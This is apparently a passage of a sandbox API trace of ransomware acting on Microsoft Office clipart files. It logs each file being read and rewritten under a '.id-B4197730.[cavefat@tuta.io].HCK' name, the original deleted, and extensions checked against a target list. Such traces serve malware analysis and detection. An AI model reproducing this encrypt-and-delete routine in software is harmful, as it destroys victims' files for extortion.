lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0233.943] lstrlenW (lpString=".dbf") returned 4 [0233.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0233.943] lstrlenW (lpString=".1cd") returned 4 [0233.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0233.943] lstrlenW (lpString=".jpg") returned 4 [0233.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.943] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0233.943] lstrlenW (lpString="J0107308.WMF") returned 12 [0233.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.944] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=15888) returned 1 [0233.944] CloseHandle (hObject=0x4c8) returned 1 [0233.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 0x220 [0233.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0233.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0233.944] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.304] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.305] GetLastError () returned 0x0 [0234.305] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x3e10, lpOverlapped=0x0) returned 1 [0234.306] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x3e20, lpOverlapped=0x0) returned 1 [0234.307] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.307] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.307] SetEndOfFile (hFile=0x4c0) returned 1 [0234.307] CloseHandle (hObject=0x4c0) returned 1 [0234.307] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.307] SetEndOfFile (hFile=0x4c8) returned 1 [0234.310] CloseHandle (hObject=0x4c8) returned 1 [0234.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0234.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0234.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0234.311] lstrlenW (lpString=".doc") returned 4 [0234.311] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.311] lstrlenW (lpString=".docx") returned 5 [0234.311] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.311] lstrlenW (lpString=".pdf") returned 4 [0234.311] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.311] lstrlenW (lpString=".xls") returned 4 [0234.311] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.311] lstrlenW (lpString=".xlsx") returned 5 [0234.311] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.311] lstrlenW (lpString=".ppt") returned 4 [0234.311] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0234.311] lstrlenW (lpString=".zip") returned 4 [0234.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.312] lstrlenW (lpString=".rar") returned 4 [0234.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.312] lstrlenW (lpString=".bz2") returned 4 [0234.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.312] lstrlenW (lpString=".7z") returned 3 [0234.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0234.312] lstrlenW (lpString=".dbf") returned 4 [0234.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0234.312] lstrlenW (lpString=".1cd") returned 4 [0234.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0234.312] lstrlenW (lpString=".jpg") returned 4 [0234.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0234.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0234.312] lstrlenW (lpString=".doc") returned 4 [0234.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.312] lstrlenW (lpString=".docx") returned 5 [0234.312] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0234.312] lstrlenW (lpString=".pdf") returned 4 [0234.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.312] lstrlenW (lpString=".xls") returned 4 [0234.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.312] lstrlenW (lpString=".xlsx") returned 5 [0234.312] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0234.312] lstrlenW (lpString=".ppt") returned 4 [0234.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0234.312] lstrlenW (lpString=".zip") returned 4 [0234.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.312] lstrlenW (lpString=".rar") returned 4 [0234.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.312] lstrlenW (lpString=".bz2") returned 4 [0234.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.312] lstrlenW (lpString=".7z") returned 3 [0234.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0234.312] lstrlenW (lpString=".dbf") returned 4 [0234.312] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0234.312] lstrlenW (lpString=".1cd") returned 4 [0234.312] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0234.312] lstrlenW (lpString=".jpg") returned 4 [0234.312] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.313] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.313] lstrlenW (lpString="J0107450.WMF") returned 12 [0234.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.313] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=4920) returned 1 [0234.313] CloseHandle (hObject=0x4c8) returned 1 [0234.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 0x220 [0234.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.314] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.314] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.314] GetLastError () returned 0x0 [0234.314] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x1338, lpOverlapped=0x0) returned 1 [0234.316] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x1340, lpOverlapped=0x0) returned 1 [0234.316] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.316] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.317] SetEndOfFile (hFile=0x4c0) returned 1 [0234.317] CloseHandle (hObject=0x4c0) returned 1 [0234.317] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.317] SetEndOfFile (hFile=0x4c8) returned 1 [0234.318] CloseHandle (hObject=0x4c8) returned 1 [0234.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 1 [0234.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0234.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0234.320] lstrlenW (lpString=".doc") returned 4 [0234.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.320] lstrlenW (lpString=".docx") returned 5 [0234.320] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0234.320] lstrlenW (lpString=".pdf") returned 4 [0234.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.320] lstrlenW (lpString=".xls") returned 4 [0234.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.320] lstrlenW (lpString=".xlsx") returned 5 [0234.320] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0234.320] lstrlenW (lpString=".ppt") returned 4 [0234.320] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0234.320] lstrlenW (lpString=".zip") returned 4 [0234.320] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.320] lstrlenW (lpString=".rar") returned 4 [0234.320] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.320] lstrlenW (lpString=".bz2") returned 4 [0234.320] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.320] lstrlenW (lpString=".7z") returned 3 [0234.320] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0234.320] lstrlenW (lpString=".dbf") returned 4 [0234.320] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0234.320] lstrlenW (lpString=".1cd") returned 4 [0234.320] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0234.320] lstrlenW (lpString=".jpg") returned 4 [0234.320] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0234.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0234.320] lstrlenW (lpString=".doc") returned 4 [0234.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.321] lstrlenW (lpString=".docx") returned 5 [0234.321] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0234.321] lstrlenW (lpString=".pdf") returned 4 [0234.321] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.321] lstrlenW (lpString=".xls") returned 4 [0234.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.321] lstrlenW (lpString=".xlsx") returned 5 [0234.321] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0234.321] lstrlenW (lpString=".ppt") returned 4 [0234.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0234.321] lstrlenW (lpString=".zip") returned 4 [0234.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.321] lstrlenW (lpString=".rar") returned 4 [0234.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.321] lstrlenW (lpString=".bz2") returned 4 [0234.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.321] lstrlenW (lpString=".7z") returned 3 [0234.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0234.321] lstrlenW (lpString=".dbf") returned 4 [0234.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0234.321] lstrlenW (lpString=".1cd") returned 4 [0234.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF") returned 68 [0234.321] lstrlenW (lpString=".jpg") returned 4 [0234.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.321] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0234.321] lstrlenW (lpString="J0107452.WMF") returned 12 [0234.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.322] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=21216) returned 1 [0234.322] CloseHandle (hObject=0x4c8) returned 1 [0234.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 0x220 [0234.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0234.323] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.323] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.324] GetLastError () returned 0x0 [0234.324] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x52e0, lpOverlapped=0x0) returned 1 [0234.325] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0x52f0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0x52f0, lpOverlapped=0x0) returned 1 [0234.326] ReadFile (in: hFile=0x4c8, lpBuffer=0x3f14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.326] WriteFile (in: hFile=0x4c0, lpBuffer=0x3f14020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f14020*, lpNumberOfBytesWritten=0x349fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.326] SetEndOfFile (hFile=0x4c0) returned 1 [0234.326] CloseHandle (hObject=0x4c0) returned 1 [0234.327] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.327] SetEndOfFile (hFile=0x4c8) returned 1 [0234.330] CloseHandle (hObject=0x4c8) returned 1 [0234.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.331] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 1 [0234.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0234.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0234.331] lstrlenW (lpString=".doc") returned 4 [0234.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.331] lstrlenW (lpString=".docx") returned 5 [0234.332] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0234.332] lstrlenW (lpString=".pdf") returned 4 [0234.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.332] lstrlenW (lpString=".xls") returned 4 [0234.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.332] lstrlenW (lpString=".xlsx") returned 5 [0234.332] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0234.332] lstrlenW (lpString=".ppt") returned 4 [0234.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0234.332] lstrlenW (lpString=".zip") returned 4 [0234.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.332] lstrlenW (lpString=".rar") returned 4 [0234.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.332] lstrlenW (lpString=".bz2") returned 4 [0234.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.332] lstrlenW (lpString=".7z") returned 3 [0234.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0234.332] lstrlenW (lpString=".dbf") returned 4 [0234.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0234.332] lstrlenW (lpString=".1cd") returned 4 [0234.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0234.332] lstrlenW (lpString=".jpg") returned 4 [0234.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0234.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0234.332] lstrlenW (lpString=".doc") returned 4 [0234.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.332] lstrlenW (lpString=".docx") returned 5 [0234.332] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0234.332] lstrlenW (lpString=".pdf") returned 4 [0234.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.332] lstrlenW (lpString=".xls") returned 4 [0234.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.332] lstrlenW (lpString=".xlsx") returned 5 [0234.332] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0234.332] lstrlenW (lpString=".ppt") returned 4 [0234.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0234.332] lstrlenW (lpString=".zip") returned 4 [0234.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.332] lstrlenW (lpString=".rar") returned 4 [0234.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.332] lstrlenW (lpString=".bz2") returned 4 [0234.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.332] lstrlenW (lpString=".7z") returned 3 [0234.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0234.333] lstrlenW (lpString=".dbf") returned 4 [0234.333] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF") returned 68 [0234.333] lstrlenW (lpString=".1cd") returned 4 [0234.333] lstrcmpiW (lpString1=".1cd", 